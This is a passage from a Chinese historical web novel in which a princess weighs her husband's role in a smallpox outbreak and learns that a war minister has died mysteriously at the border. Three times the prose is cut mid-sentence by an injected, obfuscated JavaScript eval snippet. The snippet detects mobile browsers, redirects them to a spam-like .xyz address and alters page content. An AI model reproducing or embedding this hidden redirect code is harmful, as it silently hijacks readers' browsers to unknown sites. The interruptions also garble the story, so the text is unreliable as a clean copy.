程怜香并不明白,对于形单影只的苻庆来说,能够有人和她站在一起便是一件足够抚慰心灵的事情。 此时松醪才走上前来,“公主,可找到玉泉了?” “找到了,玉泉的身上留了疤,身体也有些虚弱,我们将玉泉暂时托付在了顾仙人熟识的药铺老板那里,这几日便先由顾仙人代为照顾。” 松醪点头,玉泉作为眼线还是她选出来的,因此自从知道玉泉失踪后,松醪也很是担忧。 “那痘疫的事情……” 苻庆眸色一暗,“玉泉说,杜至善送了一批衣服进来。” 旁的话不必多说,松醪已然明白了苻庆的意思。 虽然从始至终她们便怀疑是杜至善做的局,但真正查到了证据对于她们二人来说,还是一种冲击,特别是在如今苻庆还不能与杜至善完全撕破脸的情况下。 感觉到苻庆的情绪有些低落,程怜香没有说话,只是抬起一只手抚过苻庆的后背。 “虽说我与杜至善并没有什么感情基础,但到底还是没想过他竟是一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446181|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的人。”苻庆忽然扯开嘴角笑了一下,笑容已经带着自嘲的意味。 她还不能告诉程怜香自己与杜至善之间还有一个盟约,也不能告诉程怜香即便自己知道了这件事,也并不打算和杜至善决裂。 因为对于现在的苻庆来说,杜至善的作用更大一些。 松醪出声问道:“公主下一步打算怎么做?” 苻庆摇摇头,“此事即便有玉泉的证词,我们也不能证明痘疫一定是杜至善蓄意传播的,杜至善心思深沉,这件事已经过去这么久了,证据和证人想必他应当都已经处理掉了。” 松醪点头。 “先这样吧,现在当务之急是将玉泉安置好,他身上留了疤是回不去宫里了,我得给他找一个合适的去处。” 想到玉泉,松醪也很是愧疚。 “此事都怪奴婢大意。” “这不怪你,谁能想到杜至善即便对自己下手都这么狠呢?”苻庆摆手,“罢了,先这样吧。” 时候已经不早了,苻庆看了一眼外头,公主府的马车还在院外等候着。 “咱们得走了。” 程怜香忽然伸出手拉住苻庆。 “走,你要往哪去?杜至善做出这种可怕的事,难道你还能够心中毫无芥蒂地回去和他一起生活吗?” “我自然不可能毫无芥蒂,但我确实还要回去同他一起生活。”苻庆看向程怜香,与程怜香一脸焦急相反,苻庆的脸上却是一丝波澜都没有。“杜至善即便再不堪也是皇上为我选中的驸马,便是为了皇室的面子,我也不可能与杜至善擅自分开。” 程怜香很不理解苻庆这种态度,好像这件事根本与她无关。 “为什么?难道你不害怕吗?” “害怕?”苻庆笑了笑,像是听到一个很好笑的笑话,“程怜香,害怕是最没有用处的。我能够活到今日,上天也没有给我害怕的机会。” 程怜香一滞。 “不论是从前在锦西城,还是后来进了皇宫做了公主,再到现在我嫁给杜至善,自始至终我都没有害怕的时间。世道推着我往前走,它从来没有问过我会不会害怕这件事。” 程怜香说不出话,他知道苻庆的话说的很心碎,却也说得很现实。 不论是随着父母驻守在大夏边疆,还是失去父母后进京生活,苻庆好像注定了要过危机四伏的生活。 程怜香心中很是难受,但又什么都做不了。 半晌,程怜香松开了苻庆的手。 “既然你心意已决,我便不阻拦你了。”程怜香努力撑起一个笑容,“我相信你,也相信你做的决定是对的。” 苻庆轻轻咬住下嘴唇。 “我帮不了你太多,但我至少能让你不要担心我。” 程怜香的话一字一句落在苻庆心里,像是一颗又一颗小石子荡起层层涟漪。 “我在这等你。” 不知道为什么,程怜香总是有办法抚慰到苻庆内心最柔软的位置。对于苻庆来说,程怜香的好处并不在于他能帮自己做多少事,而是无论苻庆做什么,他都能稳稳托住苻庆。 伸手摸了摸程怜香的耳朵,苻庆莞尔一笑。 “顾仙人,我先告辞了,玉泉便先托付给您了。” “放心吧!” 苻庆坐上了回府的马车。 92. 暴毙 回到公主府的时候,杜至善还未回来,苻庆有些意外,但还是先去了揽晴轩。 云腴今日穿了一袭藕粉色的衣裙,并非是府上婢女统一发放的衣服,苻庆抬了下眼皮,接过了对方递过来的茶水。 “在揽晴轩还算适应吗?驸马待你怎么样?” 云腴垂着脑袋,声音瓮声瓮气地传来:“驸马很和善,待奴婢很好。” 苻庆点头,用茶盖撇去茶盏中的浮沫,浅啜了一口。 “近来驸马在做什么?” “驸马每日回来后便在此处读书写字,旁的奴婢也不清楚。” “不清楚?”苻庆的语速不疾不徐,“我不是让你好好伺候驸马吗?怎么会连驸马在做什么都不知道。” 云腴慌忙跪下,“回公主的话,驸马除了要茶水和研墨的时候以外,都不要奴婢在身旁伺候,所以奴婢实在不知道驸马平时在做什么。” 苻庆又喝了一口茶水,这才示意松醪扶云腴起身。 “你说你,我不过是问一句,你这么害怕做什么?平时难道你对着驸马时也是这样动不动就下跪的吗?” 云腴站起身,怯生生地看着苻庆,那一双眼睛真像受了惊吓的小鹿。 “云腴,我早对你说过,你唯一的任务便是好好照顾驸马。可现下我问你什么你却都是一问三不知,我看我的公主府实在是留不得你了。” 苻庆话音刚落,云腴便赶紧跪在了地上。 “公主饶命,公主饶命,奴婢再也不敢了。” 苻庆微笑,居高临下地看着跪在地上的云腴。 “这是怎么回事?” 苻庆抬头,杜至善人还未走近,声音已经先传了进来。 松醪率先转过身对杜至善行礼,云腴还伏在地上,苻庆只是挑了挑眉毛。 “可是她做错什么事冲撞公主了?”杜至善的视线从云腴的背脊上划过,最终落在苻庆的脸上,“公主是金枝玉叶之躯,为着下人生气,不值得。” “没什么,只是我瞧着她做事冒失,担心她照顾不好你罢了。”苻庆放下茶盏,“兵部的事情怎么样?已经忙完了吗?” “忙完了,”杜至善挡在苻庆与云腴之间,遮住了苻庆的视线,“你的脚踝好些了吗?还疼不疼?” “已经不疼了,我找大夫看过了。” “什么大夫?可信吗?”杜至善作势要蹲下查看苻庆的脚踝,“我认识一个大夫医术不错,要不要再叫过来给你看看?” 苻庆侧过身避开了杜至善的手,“不用了,是原先给我姨母瞧过病的大夫。” “原来是程伶人介绍给公主的那一位。”杜至善站起身。 苻庆有些意外,她没想到杜至善居然还能记得程怜香的存在。 “既然如此我便放心了,今日在兵部我也时时挂念着公主的伤处呢。” 苻庆冷哼一声,接着用下巴指了指杜至善。 “这个婢女本是我因为决明不在才放在你这里的,现在我看她做事毛手毛脚,决明也已经回来了,要不便让她从哪来回哪去吧?” 杜至善一愣,转过身看向跪在地上的云腴。 云腴听了苻庆的话,赶紧说道:“公主,奴婢知错,奴婢今后一定尽心照顾驸马,求公主不要赶奴婢走。” 苻庆故意不说话,眼睛看向杜至善,后者还在盯着云腴。 大约是看苻庆这条路走不通,云腴转向杜至善,开始轻声祈求杜至善。 “驸马,奴婢日后一定好好照顾您,求求您开恩,不要让公主赶走奴婢,奴婢再也不敢了。” 苻庆端起一旁的茶盏,茶水有些凉了,但也是能够入口的。 “她也不过刚到府里,这几日也没出过什么错,不如公主便饶过她这一次,她有什么不懂的让松醪好好教她便是。” 苻庆放下茶盏,露出一个有些惊讶的表情,“可是她这个样子,万一照顾不好你怎么办?我瞧着是不行的,还不如赶紧将她赶走算了。宫正司还有许多已经调教好的奴婢,都比这个懂事得多。” “不必了,我本就不习惯有人时时在身边伺候,皇宫大内的人更是不敢劳动。”杜至善垂着眼睛看向云腴,“我都站在这多长时间了,还不快去沏茶,难道还要公主责罚你吗?” “是,奴婢这就去。”云腴忙不迭地退了出去。 云腴走出去后,松醪也跟着走出了门外。 “瞧不出来,你还是个挺善良的人。” 杜至善假装听不出苻庆话中的揶揄,“一个丫鬟而已,你何必跟她过不去?” “大约是因为府中下人都换了,我用着不顺手,心情不太好吧。”苻庆站起身,“杜至善,既然府上的下人是你更换的,那你最好能好好约束他们,若再有下次被我遇到这种情况,我可就不会这么好说话了。” 杜至善深深看了苻庆一眼。 “茶水凉了,我也该走了。” “难道公主不想知道今日我为何会入宫吗?” 苻庆停住脚步。 杜至善缓缓走到苻庆身后。 “公主今日,只见过那个大夫吗?” 苻庆猛地回过身,这才发现杜至善已经站得和她很近。 “你到底想不想说?” “我当然会说给公主,因为我还记得,我们是需要彼此信任的同盟。” 杜至善微微垂着眼睛,看着苻庆的眸子一眼看不到底。 “只是希望公主,也不要忘记这件事。” 苻庆的手悄悄握拳,指甲扎到手心里的软肉,传来一阵细碎的疼痛。 “你放心吧,我没有忘记这件事。” “那就好。”杜至善一步退开,和苻庆隔开了一段距离。 “今日邱大人唤我入宫是因为边关送了一封金字牌文书回来。” “什么?”苻庆一愣。 金字牌文书乃是边关送至京城最为紧急的文书级别,即便是从前大夏与辽国多有摩擦冲突时,苻坚将军也不会轻易发金字牌文书回京。因此,一旦有金字牌文书传回,便一定是边关有大事发生。 “难道是辽国?” “不是辽国,”杜至善回答得很快,“是前几日刚到雄州的柳尚书。” 这个柳尚书虽说是兵部尚书,但对于军事方面的事情并不了解,原先也从未去过边关,是个彻头彻尾的主和派,因为跟着赵王与辽国议和才做上的兵部尚书之位。苻庆心中松了口气,只当是柳尚书不懂得发文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446182|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书的规矩,才会闹出这样的误会。 因为松了口气,苻庆向后倒倚在了门框上,随口问道:“柳尚书又怎么了?” “柳尚书死了。” 苻庆顿住,半晌才转过头看向杜至善,试图从杜至善脸上看到一点说笑话的表情。 但并没有,杜至善的神情很是认真。 “是的,你没听错,柳尚书死在雄州了。” 大约是苻庆的表情实在是太过于震惊,杜至善并没有等到苻庆说话便主动交代了事情的原委。 “说是前一晚与雄州几个长官喝了酒,之后柳尚书便回驿馆歇着了。第二日本该是前去边关巡视的日子,几个长官在衙门等了一上午都不见柳尚书到来,到驿馆去一看才发现柳尚书已经死了。” “查出是谁干的了吗?” 杜至善摇头。 苻庆能感觉到她的心脏跳动逐渐剧烈起来。 柳尚书与雄州的长官都是初次见面,从前也从未去过雄州这等地方,基本不可能在那边留下什么仇敌。更何况还是在夜宿驿站的时候,居然能够被悄悄杀害。 即便苻庆都明白,这其中能够做的文章便很多了。 “今日邱大人让我过去,主要是让我找了一些柳尚书留下的文书等等,大约是想要探查一下有没有什么线索。”杜至善的神情很冷漠,“但那些文书我早都看过了,柳尚书这个人大约连雄州在哪都不知道,怎么可能会提前与雄州那边的人有联络呢。” 如今事情刚刚发生,苻庆明白兵部肯定是一团乱麻,自己问也问不出来什么东西。 “边关许久没有出过这么大的事了,既然兵部要查,便证明这件事必然是有蹊跷的。”苻庆努力平复下自己激动的心,“柳尚书此次巡视不就是因为有人说边关有异动吗?现在堂堂三品大员竟然在雄州被害,或许这已经说明了问题。” 杜至善心领神会,“你放心,我会仔细盯着兵部动静的。” 回到翠华庭,苻庆还是能够感觉到自己的心跳很剧烈,仿佛要跳出自己的胸膛。 雄州虽然不比定州直接与辽国接壤,但自从锦西城被辽国夺走后,雄州便成为了大夏与辽国之间最后一个完整的州,而这也意味着雄州与辽国的联系很有可能比之前密切了。 苻庆在听到柳尚书被害的第一反应便是,或许这件事是辽国做的。 自从锦西城陷落,在赵王的斡旋下大夏与辽国签订了和约,两国确实度过了较为和平的六年,但以苻庆了解到的历史来看,这已经算是辽国安稳的较长一段时间了,甚至令人感到有些奇怪。 辽国国土面积不大,且几乎全都是天寒地冻的区域,这也导致辽国几乎发展不了任何农业,不管是人吃的粮食还是牲畜的口粮都只能依靠掠夺。 虽说在和约中写明大夏会每年交给辽国岁币,但那些钱比起从前辽国从大夏手中抢走的实在是九牛一毛。按照辽国从前的习性,早已经撕毁和约卷土重来了。 但意外的是,这一次辽国忍了足足六年。 目前为止没人知道柳尚书遇害的真相,但苻庆总是忍不住想,万一是辽国终于忍不住了呢? 那她是不是就能有一个充分的理由,迫使皇帝向辽国重新宣战。 93. 辽国 这一次她并没有梦见锦西城皑皑白雪,也没有梦见尸横遍野的惨烈景象。 她只是梦见了边关的残阳,鲜红得映满了半边天空。 第二日,苻庆去了京城中的英国公府。这宅院是英国公的旧宅,英国公前往长金邑驻守后这处宅子便一直空闲着。五年前英国公回京,只在这里住了不到半月便搬去了玉泉别院。 如苻庆所料,昨日出了这么大的事情,今天英国公一大早便入宫去了,府中只有婉娘一个人在。 婉娘今日并没有浓妆艳抹,一袭湖蓝色的长袖褙子衬得她很是温婉。见苻庆过来,婉娘很是热情,邀请苻庆一定要吃一些点心再走。 看着桌上的槽子糕,苻庆可算明白了婉娘要自己吃点心的缘由。 “看来大伯把厨子也带过来了。” 婉娘笑起来眉眼弯弯,一双柳叶眉如同天边的弯月。 “国公爷说入京之后日子大约会过得很艰难,可不能在嘴上再委屈了自己。” 苻庆忍俊不禁,“这是我大伯能说出来的话。” 婉娘为苻庆斟了一杯茶,“公主,奴家还没有谢过公主救命之恩。” 苻庆摇头,“婉娘,这并非是万全之策,赵王必然也能够看出来这只是权宜之法,还是不要掉以轻心为好。” 婉娘点头,“其实对于奴家来说能否搪塞过赵王并不重要,最重要的是能够借此与宁国公府搭上联系。这些年皇帝通过各种方法将各个武将之间进行分割,怕的就是武将进行联合,这些年国公爷在京中无依无靠,连几个孩子都不能留在身边,奴家瞧着实在是难过。” 苻庆明白婉娘的意思,这也是她一开始想到用这个方法的初衷。 “若是从前便罢了,如今大伯重新回到京中,若孤身一人总是不好的。正好这段时间宁国公与大内的关系有些微妙,我便想着不如加以利用。” 说到这,婉娘目光悠悠地看向地面。 “是啊,本以为此次入宫只是暂时的,却没想到竟会发生了这种事情。” 看来婉娘也已经知道了柳尚书暴毙的事情了。 “这件事大伯是怎么说的?” 婉娘摇头,“国公爷也是刚刚得知,很快便被宣入宫中去了。” 走得这么着急,看来皇帝对于这件事真的很是重视。 苻庆抿了一口茶。 “公主在京中待的时间比我们久些,不知道公主对于这件事是怎么想的?” “柳尚书我并不了解,但我可以确定他不是那种会四处与人结怨的人。”苻庆很是笃定,“按照路程来算,他到雄州的时间也不会很久,按道理来说也不会惹出什么大事。雄州现在的知州姓常,是赵王的人,也就是说他与柳尚书应当也不会有冲突。” 听过苻庆的话,婉娘的眉头慢慢皱了起来。 “这样看来,此事反而更加扑朔迷离了。” 若是内部没有作案的可能,便只能是外头的人所为了。但苻庆现在还不想说出这种猜测,还不到时间。 喝过一杯茶,苻庆终于说出自己此行的目的。昨日苻庆在回府的路上便想过了,既然玉泉回不得宫,也不能到公主府去,那他只能到一家身份显赫的贵人家中做事。英国公现在刚刚回京,府中各种事情都需要重新安排,在这种时候从外面多收一个奴婢进来是不会引起什么人注意的。 “公主放心吧,您只管把人送过来就行。”婉娘摸了摸苻庆的胳膊,“等他过来后我会给他挑一个不引人注意的位置养着,待身体好了再商议之后的事情。” 苻庆很感激婉娘能够替自己想到这些事情,也很放心将玉泉交给婉娘照顾,原先在定州的时候婉娘便将英国公的宅院管得很是妥帖。 “只是这样一来,您和我大伯人还没有在京城住安稳,家中便添了这么多人。” 婉娘轻轻一笑,“这又怎么了?人多了热闹,奴家觉得挺好。” “那个小丫头在府中住的怎么样?” 婉娘知道苻庆说的是珍儿,“昨日刚领她回来,将她安置在旁边的院子住着了,国公府没什么规矩。再者说,她年纪也不小了,过几年也是要出嫁的,我打算教她一些管家的事情,也算是全了这姐妹一场的缘分。” 苻庆点头,婉娘总是能够将这件事情都考虑得很周全。从前在定州的时候苻庆便想过,若是婉娘是自己的姐姐便好了。 “夫人,外头有人求见。” 婉娘看向走进来的婢女,“什么人?” “那人说自己是国公爷的副官,叫余川。” 婉娘站起身。 “让他进来。” 苻庆记得前段时间英国公曾经提到过这个名字,要将对方调回自己身边当值,没想到这么快便将人要回来了。 不一会,一个身姿挺拔、剑眉星目的男子走了进来。 大约是没猜到苻庆在这里,对方明显一愣,接着向苻庆和婉娘拱手行礼。 “不知夫人在见客,下官唐突了。” “无妨,这是苻庆公主,原先你大约也是见过的。” “是,原先在边关曾与公主有过几面之缘。”余川拱手对苻庆说道:“公主,久违了。” 苻庆点头,“余副官客气了,只是不知道余副官现在在哪里谋事?” “下官不才,仰仗国公爷提拔,近来刚入京做了兵部员外郎。” 兵部员外郎不过正七品,实在是个小官。但既然英国公特意将他调回京中,想必便是对他有一番安排。 “我父亲曾经在我面前夸过你,所以我对你也有些印象。此次入京并非是什么享福的事情,你也要小心。” “是,公主。” 见他们两人说完话,婉娘继续问道:“你突然到府上有什么事情吗?可是国公爷派你回来的?” “正是,国公爷派下官回来取一份文书。” 婉娘的脸上一点表情都没有,与刚才同苻庆说话的样子可谓是天壤之别。 “国公爷的文书都在书房,那地方我一向是不进去的。我让婢女带你过去,需要什么你自己找就是了。” 余川低着头,“多谢夫人。” 等这个不速之客离开了花厅,苻庆才终于按耐不住询问婉娘。 “婉娘,你与这个人从前认识吗?” 婉娘有些惊讶,“公主此话怎讲?” “若是不相识他怎么还会多此一举,一定要到此处先见了你再走呢?”苻庆歪着脑袋,“再者说,若是婉娘与他并不相识,怎么会允许他自己到书房中取文书呢?” 婉娘端起茶杯喝了一口。 “原先在定州的时候他便跟着国公爷,肯定是认识的。” 见婉娘言辞闪烁,苻庆也不再询问,只是配合着点了点头。 要紧事已经说完,苻庆也就不再继续叨扰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455629|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,带着松醪离开了英国公府。 路上,松醪与苻庆分别,独自一人去药庐与顾仙人商议接走玉泉的事情,而苻庆先自己回到了公主府。 出人意料的是,杜至善在府里。 想到柳尚书的事情,苻庆脚步一转,径直去了揽晴轩。 刚走进抱厦,便看见杜至善正站在桌边写大字,他身上还穿着官服,官帽倒是没戴,露出梳得很是板正的发髻。 写大字本是书法初学者才会日日练习的内容,苻庆也不知道杜至善为何会有这样的兴致。 再走近两步,书桌一旁闪出一个人影来,原来是云腴搬了一把圆凳坐在桌边,正在给杜至善研墨。今日云腴穿着一件鹅黄色的抹胸裙子,头上扎了个小团髻,耳朵上戴着小小的珍珠耳坠。 苻庆倚在门框上看了一会,直到杜至善突然抬起头。 “公主?” 云腴手指一动,墨棒倒在砚台之中溅起几点墨汁。 “奴婢不知道公主来了,还请公主见谅。” 看着云腴垂着头给自己行万福礼的样子,苻庆摇摇头。 “无妨,是我突然到来,打扰你们了。” 杜至善从桌后走出,不动声色地挡在了云腴跟前。 苻庆走到杜至善桌前,好奇地看了看杜至善桌上的纸。“你在写什么呢?好端端的,怎么练起字来了?” 杜至善拿开镇纸好让苻庆看得更清楚些,“从书架上随手抽下来的一本书。” 因为是大字,字与字之间也没什么联系,确实看不出来是哪本书,苻庆眨眨眼,收回视线看向杜至善。 “我是想过来问问你宫中的情况,兵部还好吗?” 杜至善引着苻庆坐到一旁的圈椅上,自己对还站在原地的云腴说道:“去给公主倒茶。” 云腴应了一声,离开了屋子。 不知道是不是苻庆的错觉,但她确实觉得杜至善好像在刻意拉开自己与云腴之间的距离。每次自己在的时候,杜至善总是会让云腴赶紧离开。 “我瞧着兵部好像不打算善罢甘休。” 这句话倒是出乎了苻庆的意料,人人都知道现在大夏的兵部只不过是个养老的地方,其中许多人别说上过战场,便是兵书都没有看过一本。皇帝与赵王通过这种方式压制住此前过分强大的武将力量,让兵部成为了一个名存实亡的傀儡衙门。 因此,苻庆本以为兵部对于柳尚书暴毙的事情会比较冷漠。 “你的意思是,兵部想要一个说法?” “今日我去的时候,邱大人正在召集诸位同僚联名上书,要求陛下必须立即派人前往雄州调查情况,势必找出杀害柳尚书的幕后真凶。” 苻庆一乐,“那看这意思,他们是不想大事化小了。” 杜至善露出一个微笑,“也许还有小题大做的意思呢。” 苻庆呼出一口气,倚靠在圈椅背后的扶手上。 原先她一直在担心这件事被兵部通过其他方式掩盖过去,最终皇帝必然也只会草草结案,早日将柳尚书的尸体从雄州接回来便完事了,根本不会调查他到底是怎么死的。 但现在看来,也许事情还有其他的走向。 “若是陛下真的愿意派人前往雄州调查,说不定便能够找到辽国留下的蛛丝马迹。” 杜至善一愣,抬头看向苻庆。 “公主觉得,此事是辽国所为?”